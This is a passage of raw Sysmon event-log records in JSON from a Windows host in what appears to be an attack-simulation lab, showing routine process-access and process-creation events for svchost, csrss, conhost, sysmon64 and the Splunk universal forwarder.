C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.542","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-0010B82B0500}","TargetProcessId":"2512","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3426,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.776\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-0010B82B0500}\r\nSourceProcessId: 2512\r\nSourceThreadId: 2800\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.776","SourceProcessGUID":"{90617006-407C-5F2D-0000-0010B82B0500}","SourceProcessId":"2512","SourceThreadId":"2800","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3427,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-0010B82B0500}\r\nTargetProcessId: 2512\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-0010B82B0500}","TargetProcessId":"2512","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3428,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nProcessGuid: {90617006-407C-5F2D-0000-00106F2E0500}\r\nProcessId: 3292\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407C-5F2D-0000-001033280500}\r\nParentProcessId: 4352\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","ProcessGuid":"{90617006-407C-5F2D-0000-00106F2E0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407C-5F2D-0000-001033280500}","ParentProcessId":"4352","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3429,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nSourceProcessId: 4352\r\nSourceThreadId: 2516\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-00106F2E0500}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1815e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","SourceProcessId":"4352","SourceThreadId":"2516","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-00106F2E0500}","TargetProcessId":"3292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1815e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3430,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-00106F2E0500}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-00106F2E0500}","TargetProcessId":"3292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3431,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3432,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3433,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3434,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 